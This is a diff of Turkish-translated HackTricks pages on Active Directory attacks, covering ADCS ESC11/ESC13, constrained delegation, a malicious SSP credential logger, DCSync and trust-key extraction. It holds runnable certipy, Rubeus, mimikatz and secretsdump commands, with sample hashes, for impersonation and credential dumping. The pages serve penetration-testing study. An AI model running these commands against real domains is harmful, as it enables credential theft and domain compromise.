certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak bir `userPrincipalName` olmaması nedeniyle önemli bir hedefdir.
|
||||
Bu zafiyet, `userPrincipalName`'ı olmayan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabını da kapsar; varsayılan `Administrator@corp.local`, yükseltilmiş LDAP ayrıcalıkları ve varsayılan olarak `userPrincipalName`'ın olmaması nedeniyle önemli bir hedef olmaktadır.
|
||||
|
||||
## NTLM'yi ICPR'ye İletme - ESC11
|
||||
|
||||
### Açıklama
|
||||
|
||||
Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imzalamadan NTLM iletme saldırıları gerçekleştirilebilir. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
Eğer CA Sunucusu `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC hizmeti aracılığıyla imza olmadan NTLM iletme saldırıları gerçekleştirilebilir. [Burada referans](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/) bulunmaktadır.
|
||||
|
||||
`Enforce Encryption for Requests` devre dışı ise, `certipy` kullanarak durumu belirleyebilirsiniz ve certipy `ESC11` Zafiyetlerini gösterecektir.
|
||||
`Enforce Encryption for Requests` devre dışıysa, `certipy` kullanarak durumu belirleyebilirsiniz ve certipy `ESC11` Zafiyetlerini gösterecektir.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -553,7 +553,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
Not: Alan denetleyicileri için DomainController'da `-template` belirtmeliyiz.
|
||||
Not: Alan denetleyicileri için, DomainController'da `-template` belirtmemiz gerekir.
|
||||
|
||||
Veya [sploutchy'nin impacket çatallamasını](https://github.com/sploutchy/impacket) kullanarak:
|
||||
```bash
|
||||
@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
|
||||
|
||||
Yönetici, Sertifika Otoritesini "Yubico YubiHSM2" gibi harici bir cihazda depolamak için ayarlayabilir.
|
||||
|
||||
USB cihazı, CA sunucusuna bir USB portu aracılığıyla bağlıysa veya CA sunucusu sanal bir makineyse, YubiHSM'de anahtarları oluşturmak ve kullanmak için Anahtar Depolama Sağlayıcısı tarafından bir kimlik doğrulama anahtarı (bazen "şifre" olarak adlandırılır) gereklidir.
|
||||
Eğer USB cihazı CA sunucusuna bir USB portu aracılığıyla bağlıysa veya CA sunucusu sanal bir makineyse bir USB cihaz sunucusu varsa, YubiHSM'de anahtarları oluşturmak ve kullanmak için Anahtar Depolama Sağlayıcısı için bir kimlik doğrulama anahtarı (bazen "şifre" olarak adlandırılır) gereklidir.
|
||||
|
||||
Bu anahtar/şifre, `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında açık metin olarak kayıt defterinde saklanır.
|
||||
|
||||
@ -573,7 +573,7 @@ Bu anahtar/şifre, `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPasswor
|
||||
|
||||
### Suistimal Senaryosu
|
||||
|
||||
Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve shell erişimi elde ettiyseniz, anahtarı kurtarmak mümkündür.
|
||||
Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve shell erişimi elde ettiyseniz, anahtarı geri almak mümkündür.
|
||||
|
||||
Öncelikle, CA sertifikasını (bu kamuya açıktır) elde etmeniz ve ardından:
|
||||
```cmd
|
||||
@ -583,18 +583,18 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Son olarak, CA sertifikası ve özel anahtarını kullanarak yeni bir keyfi sertifika oluşturmak için certutil `-sign` komutunu kullanın.
|
||||
Son olarak, CA sertifikasını ve özel anahtarını kullanarak yeni bir keyfi sertifika oluşturmak için certutil `-sign` komutunu kullanın.
|
||||
|
||||
## OID Grup Bağlantı İstismarı - ESC13
|
||||
|
||||
### Açıklama
|
||||
|
||||
`msPKI-Certificate-Policy` niteliği, sertifika şablonuna ihraç politikasının eklenmesine olanak tanır. Politika ihraçından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` niteliği kullanılarak bir AD grubuna bağlanabilir ve bu, bir sistemin sertifikayı sunan bir kullanıcıyı, sanki grubun bir üyesiymiş gibi yetkilendirmesine olanak tanır. [Burada referans](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
`msPKI-Certificate-Policy` niteliği, sertifika şablonuna ihraç politikasının eklenmesine olanak tanır. Politika ihraçından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Yapılandırma İsimlendirme Bağlamı'nda (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` niteliği kullanılarak bir AD grubuna bağlanabilir ve bu, bir sistemin sertifikayı sunan bir kullanıcıyı grubun üyesiymiş gibi yetkilendirmesine olanak tanır. [Burada referans](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
Diğer bir deyişle, bir kullanıcının bir sertifika kaydetme izni olduğunda ve sertifika bir OID grubuna bağlandığında, kullanıcı bu grubun ayrıcalıklarını miras alabilir.
|
||||
|
||||
OIDToGroupLink bulmak için [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kullanın:
|
||||
```powershell
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
OID 23541150.FCB720D24BC82FBD1A33CB406A14094D links to group: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
@ -621,19 +621,21 @@ Bir kullanıcı izni bulun, `certipy find` veya `Certify.exe find /showAllPermis
|
||||
|
||||
Eğer `John`, `VulnerableTemplate`'i kaydetme iznine sahipse, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını miras alabilir.
|
||||
|
||||
Tek yapması gereken şablonu belirtmek, OIDToGroupLink haklarıyla bir sertifika alacaktır.
|
||||
Tek yapması gereken şablonu belirtmek, OIDToGroupLink haklarına sahip bir sertifika alacaktır.
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## Sertifikalar ile Ormanların Ele Geçirilmesi Pasif Sesle Açıklandı
|
||||
## Ormanların Sertifikalarla Kompromize Edilmesi Pasif Sesle Açıklandı
|
||||
|
||||
### Ele Geçirilmiş CA'lar Tarafından Orman Güvenlerinin İhlali
|
||||
### Kompromize Edilmiş CA'lar Tarafından Orman Güvenlerinin Bozulması
|
||||
|
||||
**Çapraz orman kaydı** için yapılandırma oldukça basittir. **Kök CA sertifikası**, kaynak ormandan **hesap ormanlarına** yöneticiler tarafından **yayınlanır** ve kaynak ormandan **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sağlar. Eğer bu CA **saldırganlar tarafından ele geçirilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur.
|
||||
**Çapraz orman kaydı** için yapılandırma nispeten basittir. **Kaynak ormandan gelen kök CA sertifikası**, yöneticiler tarafından **hesap ormanlarına yayımlanır** ve kaynak ormandan gelen **kurumsal CA** sertifikaları, her hesap ormanındaki `NTAuthCertificates` ve AIA konteynerlerine **eklenir**. Bu düzenleme, **kaynak ormandaki CA'ya**, yönettiği PKI için tüm diğer ormanlar üzerinde tam kontrol sağlar. Eğer bu CA **saldırganlar tarafından kompromize edilirse**, hem kaynak hem de hesap ormanlarındaki tüm kullanıcılar için sertifikalar **onlar tarafından sahte olarak oluşturulabilir**, böylece ormanın güvenlik sınırı ihlal edilmiş olur.
|
||||
|
||||
### Yabancı Prensiplere Verilen Kayıt Ayrıcalıkları
|
||||
|
||||
Çoklu orman ortamlarında, **sertifika şablonları** yayınlayan Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensipler** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) için **kayıt ve düzenleme hakları** sağlar.\
|
||||
Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcı SID**'si AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, eğer bir alan, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, farklı bir ormandan bir kullanıcı tarafından bir şablon **kayıt edilebilir**. Benzer şekilde, eğer **kayıt hakları bir şablon tarafından açıkça bir yabancı prensipe verilirse**, **çapraz orman erişim kontrol ilişkisi** oluşturulmuş olur; bu da bir ormandan bir prensibin **başka bir ormandan bir şablona kayıt olmasını** sağlar.
|
||||
Çoklu orman ortamlarında, **sertifika şablonları yayımlayan** Kurumsal CA'lar konusunda dikkatli olunmalıdır; bu şablonlar **Kimlik Doğrulanmış Kullanıcılar veya yabancı prensiplerin** (Kurumsal CA'nın ait olduğu ormanın dışındaki kullanıcılar/gruplar) **kayıt ve düzenleme haklarına** izin verir.\
|
||||
Bir güven ilişkisi üzerinden kimlik doğrulama yapıldığında, **Kimlik Doğrulanmış Kullanıcı SID** AD tarafından kullanıcının token'ına eklenir. Dolayısıyla, eğer bir alan, **Kimlik Doğrulanmış Kullanıcıların kayıt haklarına** sahip bir Kurumsal CA'ya sahipse, bir kullanıcı **farklı bir ormandan bir şablona kayıt olabilme** potansiyeline sahip olabilir. Benzer şekilde, eğer **bir şablon tarafından bir yabancı prense açıkça kayıt hakları verilirse**, bu durum **çapraz orman erişim kontrol ilişkisi** oluşturur ve bir ormandan bir prensibin **diğer bir ormandan bir şablona kayıt olmasına** olanak tanır.
|
||||
|
||||
Her iki senaryo da bir ormandan diğerine **saldırı yüzeyinin artmasına** yol açar. Sertifika şablonunun ayarları, bir saldırgan tarafından yabancı bir alanda ek ayrıcalıklar elde etmek için istismar edilebilir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,21 +1,21 @@
|
||||
# Kısıtlı Delegasyon
|
||||
# Constrained Delegation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Kısıtlı Delegasyon
|
||||
## Constrained Delegation
|
||||
|
||||
Bunu kullanarak bir Domain yöneticisi, bir bilgisayarın bir **kullanıcı veya bilgisayarı** bir makinenin **hizmeti** karşısında **taklit etmesine** **izin verebilir**.
|
||||
Bunu kullanarak bir Domain yöneticisi, bir bilgisayarın herhangi bir makinenin **hizmeti** karşısında bir **kullanıcı veya bilgisayar** olarak **taklit etmesine** **izin verebilir**.
|
||||
|
||||
- **Kullanıcı için Hizmet (**_**S4U2self**_**):** Eğer bir **hizmet hesabı** _userAccountControl_ değeri [TRUSTED_TO_AUTH_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) içeriyorsa, o zaman kendisi (hizmet) adına herhangi bir kullanıcı için bir TGS alabilir.
|
||||
- **Kullanıcı için Proxy Hizmeti (**_**S4U2proxy**_**):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo**'da ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi elde etmek için S4U2self kullanabilir.
|
||||
- **Kullanıcı için Hizmet (_S4U2self_):** Eğer bir **hizmet hesabı** _userAccountControl_ değeri [TrustedToAuthForDelegation](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) (T2A4D) içeriyorsa, o zaman kendisi (hizmet) adına herhangi bir kullanıcı için bir TGS alabilir.
|
||||
- **Kullanıcı için Proxy (_S4U2proxy_):** Bir **hizmet hesabı**, **msDS-AllowedToDelegateTo** içinde ayarlanan hizmet için herhangi bir kullanıcı adına bir TGS alabilir. Bunu yapmak için, önce o kullanıcıdan kendisine bir TGS alması gerekir, ancak diğerini talep etmeden önce bu TGS'yi almak için S4U2self kullanabilir.
|
||||
|
||||
**Not**: Eğer bir kullanıcı AD'de ‘_Hesap hassas ve devredilemez_’ olarak işaretlenmişse, onu **taklit edemezsiniz**.
|
||||
|
||||
Bu, eğer **hizmetin hash'ini ele geçirirseniz**, **kullanıcıları taklit edebileceğiniz** ve onların adına **hizmete erişim** elde edebileceğiniz anlamına gelir (mümkün **privesc**).
|
||||
Bu, eğer **hizmetin hash'ini ele geçirirseniz**, **kullanıcıları taklit edebileceğiniz** ve onların adına herhangi bir **hizmete** erişim **sağlayabileceğiniz** anlamına gelir (mümkün **privesc**).
|
||||
|
||||
Ayrıca, **kullanıcının taklit edebileceği hizmete erişiminiz olmayacak, aynı zamanda herhangi bir hizmete** de erişiminiz olacak çünkü SPN (istenen hizmet adı) kontrol edilmemektedir, yalnızca ayrıcalıklar kontrol edilmektedir. Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir.
|
||||
Ayrıca, **kullanıcının taklit edebileceği hizmete** erişiminiz olmayacak, aynı zamanda **SPN** (istenen hizmet adı) kontrol edilmediği için herhangi bir hizmete de erişiminiz olacak (biletin bu kısmı şifrelenmemiş/imzalanmamıştır). Bu nedenle, eğer **CIFS hizmetine** erişiminiz varsa, örneğin Rubeus'ta `/altservice` bayrağını kullanarak **HOST hizmetine** de erişiminiz olabilir.
|
||||
|
||||
Ayrıca, **DC'deki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir.
|
||||
Ayrıca, **DC üzerindeki LDAP hizmet erişimi**, bir **DCSync**'i istismar etmek için gereklidir.
|
||||
```bash:Enumerate
|
||||
# Powerview
|
||||
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
|
||||
@ -25,6 +25,11 @@ Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowed
|
||||
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json
|
||||
```
|
||||
|
||||
```bash:Quick Way
|
||||
# Generate TGT + TGS impersonating a user knowing the hash
|
||||
Rubeus.exe s4u /user:sqlservice /domain:testlab.local /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:ldap /ptt
|
||||
```
|
||||
- Adım 1: **İzin verilen hizmetin TGT'sini al**
|
||||
```bash:Get TGT
|
||||
# The first step is to get a TGT of the service that can impersonate others
|
||||
## If you are SYSTEM in the server, you might take it from memory
|
||||
@ -36,22 +41,24 @@ ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))"
|
||||
mimikatz sekurlsa::ekeys
|
||||
|
||||
## Request with aes
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
|
||||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap
|
||||
|
||||
# Request with RC4
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||||
tgt::ask /user:dcorp-adminsrv$ /domain:sub.domain.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
|
||||
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi
|
||||
```
|
||||
> [!WARNING]
|
||||
> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile iletim ve Active Directory Sertifika Servisi istismarı bulunmaktadır.
|
||||
> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile yönlendirme ve Active Directory Sertifika Servisi istismarı bulunmaktadır.
|
||||
>
|
||||
> **Sadece bu TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.**
|
||||
> **Sadece o TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.**
|
||||
|
||||
- Adım 2: **Kullanıcıyı taklit eden hizmet için TGS alın**
|
||||
```bash:Using Rubeus
|
||||
#Obtain a TGS of the Administrator user to self
|
||||
# Obtain a TGS of the Administrator user to self
|
||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator
|
||||
|
||||
#Obtain service TGS impersonating Administrator (CIFS)
|
||||
# Obtain service TGS impersonating Administrator (CIFS)
|
||||
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS
|
||||
|
||||
#Impersonate Administrator on different service (HOST)
|
||||
|
||||
@ -10,7 +10,7 @@ Kendi **SSP'nizi** oluşturabilirsiniz, böylece makineye erişim için kullanı
|
||||
#### Mimilib
|
||||
|
||||
Mimikatz tarafından sağlanan `mimilib.dll` ikili dosyasını kullanabilirsiniz. **Bu, tüm kimlik bilgilerini düz metin olarak bir dosyaya kaydedecektir.**\
|
||||
Dll dosyasını `C:\Windows\System32\` dizinine bırakın.\
|
||||
Dll'yi `C:\Windows\System32\` dizinine bırakın.\
|
||||
Mevcut LSA Güvenlik Paketlerinin bir listesini alın:
|
||||
```bash:attacker@target
|
||||
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
|
||||
@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
|
||||
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
|
||||
```
|
||||
`mimilib.dll`'yi Güvenlik Destek Sağlayıcı listesine (Güvenlik Paketleri) ekleyin:
|
||||
```powershell
|
||||
```bash
|
||||
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
|
||||
```
|
||||
Ve bir yeniden başlatmadan sonra tüm kimlik bilgileri `C:\Windows\System32\kiwissp.log` dosyasında düz metin olarak bulunabilir.
|
||||
@ -27,7 +27,7 @@ Ve bir yeniden başlatmadan sonra tüm kimlik bilgileri `C:\Windows\System32\kiw
|
||||
#### Bellekte
|
||||
|
||||
Bunu doğrudan belleğe Mimikatz kullanarak da enjekte edebilirsiniz (biraz kararsız/çalışmayabileceğini unutmayın):
|
||||
```powershell
|
||||
```bash
|
||||
privilege::debug
|
||||
misc::memssp
|
||||
```
|
||||
|
||||
@ -6,24 +6,24 @@
|
||||
|
||||
**DCSync** izni, alanın kendisi üzerinde bu izinlere sahip olmayı gerektirir: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** ve **Replicating Directory Changes In Filtered Set**.
|
||||
|
||||
**DCSync ile ilgili Önemli Notlar:**
|
||||
**DCSync ile İlgili Önemli Notlar:**
|
||||
|
||||
- **DCSync saldırısı, bir Domain Controller'ın davranışını simüle eder ve diğer Domain Controller'lardan bilgileri çoğaltmalarını ister** Directory Replication Service Remote Protocol (MS-DRSR) kullanarak. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz.
|
||||
- **DCSync saldırısı, bir Domain Controller'ın davranışını simüle eder ve diğer Domain Controller'lardan bilgileri çoğaltmalarını ister**; bu işlem Directory Replication Service Remote Protocol (MS-DRSR) kullanılarak gerçekleştirilir. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz.
|
||||
- Varsayılan olarak yalnızca **Domain Admins, Enterprise Admins, Administrators ve Domain Controllers** grupları gerekli ayrıcalıklara sahiptir.
|
||||
- Herhangi bir hesap parolası tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'ta parolayı düz metin olarak döndürmek için bir seçenek mevcuttur.
|
||||
|
||||
### Enumeration
|
||||
|
||||
Bu izinlere kimin sahip olduğunu kontrol etmek için `powerview`:
|
||||
```powershell
|
||||
```bash
|
||||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
|
||||
```
|
||||
### Yerel Olarak Sömürme
|
||||
```powershell
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
|
||||
```
|
||||
### Uzaktan Sömürme
|
||||
```powershell
|
||||
```bash
|
||||
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
[-just-dc-user <USERNAME>] #To get only of that user
|
||||
[-pwd-last-set] #To see when each account's password was last changed
|
||||
@ -35,26 +35,26 @@ secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
|
||||
- biri **Kerberos anahtarları** ile
|
||||
- biri de [**tersine şifreleme**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) etkin olan herhangi bir hesap için NTDS'den düz metin şifreleri ile. Tersine şifreleme ile kullanıcıları şu şekilde alabilirsiniz:
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
|
||||
```
|
||||
|
||||
### Süreklilik
|
||||
|
||||
Eğer bir alan yöneticisiyseniz, bu izinleri `powerview` yardımıyla herhangi bir kullanıcıya verebilirsiniz:
|
||||
```powershell
|
||||
```bash
|
||||
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
|
||||
```
|
||||
Sonra, kullanıcının 3 ayrıcalığın doğru bir şekilde atanıp atanmadığını **kontrol edebilirsiniz** (ayrıcalıkların adlarını "ObjectType" alanında görebilmelisiniz):
|
||||
```powershell
|
||||
Sonra, **kullanıcının 3 ayrıcalığın doğru bir şekilde atanıp atanmadığını kontrol edebilirsiniz** (ayrıcalıkların isimlerini "ObjectType" alanında görebilmelisiniz) çıktıda arayarak:
|
||||
```bash
|
||||
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
|
||||
```
|
||||
### Mitigation
|
||||
|
||||
- Security Event ID 4662 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerinde bir işlem gerçekleştirildi
|
||||
- Security Event ID 5136 (Nesne için Denetim Politikası etkin olmalıdır) – Bir dizin hizmeti nesnesi değiştirildi
|
||||
- Security Event ID 4670 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerindeki izinler değiştirildi
|
||||
- AD ACL Scanner - ACL'lerin raporlarını oluşturun ve karşılaştırın. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
|
||||
- Güvenlik Olayı ID 4662 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerinde bir işlem gerçekleştirildi
|
||||
- Güvenlik Olayı ID 5136 (Nesne için Denetim Politikası etkin olmalıdır) – Bir dizin hizmeti nesnesi değiştirildi
|
||||
- Güvenlik Olayı ID 4670 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerindeki izinler değiştirildi
|
||||
- AD ACL Tarayıcı - ACL'lerin raporlarını oluşturun ve karşılaştırın. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner)
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@ Bu senaryoda **alanınız** **farklı alanlardan** bir **prensipe** bazı **yetk
|
||||
## Sayım
|
||||
|
||||
### Çıkış Güveni
|
||||
```powershell
|
||||
```bash
|
||||
# Notice Outbound trust
|
||||
Get-DomainTrust
|
||||
SourceName : root.local
|
||||
@ -32,15 +32,15 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F
|
||||
|
||||
Bir güvenlik açığı, iki alan arasında bir güven ilişkisi kurulduğunda ortaya çıkar; burada alan **A** ve alan **B** olarak tanımlanmıştır. Alan **B**, alan **A**'ya güvenini genişletir. Bu yapılandırmada, alan **B** için alan **A**'da özel bir hesap oluşturulur ve bu hesap, iki alan arasındaki kimlik doğrulama sürecinde kritik bir rol oynar. Alan **B** ile ilişkilendirilen bu hesap, alanlar arasında hizmetlere erişim için biletleri şifrelemek amacıyla kullanılır.
|
||||
|
||||
Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve hash'inin, alan **A**'daki bir Domain Controller'dan bir komut satırı aracı kullanılarak çıkarılabileceğidir. Bu işlemi gerçekleştirmek için kullanılan komut şudur:
|
||||
```powershell
|
||||
Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve hash'inin, alan **A**'daki bir Alan Denetleyicisinden bir komut satırı aracı kullanılarak çıkarılabileceğidir. Bu işlemi gerçekleştirmek için kullanılan komut şudur:
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
|
||||
```
|
||||
Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grubun ilişkili izinlerini miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır.
|
||||
Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grupla ilişkili izinleri miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır.
|
||||
|
||||
**Uyarı:** Bu durumu, sınırlı izinlerle de olsa bir kullanıcı olarak **A** alanında bir yer edinmek için kullanmak mümkündür. Ancak, bu erişim **A** alanında numaralandırma yapmak için yeterlidir.
|
||||
|
||||
`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven anahtarlarını dökerek `root.local` içindeki `EXT$` kimlik bilgilerini açığa çıkarmak mümkündür. Bunu başarmak için kullanılan komut şudur:
|
||||
`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven ilişkisi anahtarlarını dökerek `root.local` içindeki `EXT$` kimlik bilgilerini açığa çıkarmak mümkündür. Bunu başarmak için kullanılan komut:
|
||||
```bash
|
||||
lsadump::trust /patch
|
||||
```
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Bu senaryoda bir dış alan size güveniyor (veya her ikisi de birbirine güveniyor), bu nedenle üzerinde bir tür erişim elde edebilirsiniz.
|
||||
Bu senaryoda, bir dış alan size güveniyor (veya her ikisi de birbirine güveniyor), bu nedenle üzerinde bir tür erişim elde edebilirsiniz.
|
||||
|
||||
## Sayım
|
||||
|
||||
Öncelikle, **güveni** **saymalısınız**:
|
||||
```powershell
|
||||
```bash
|
||||
Get-DomainTrust
|
||||
SourceName : a.domain.local --> Current domain
|
||||
TargetName : domain.external --> Destination domain
|
||||
@ -56,14 +56,14 @@ IsDomain : True
|
||||
# You may also enumerate where foreign groups and/or users have been assigned
|
||||
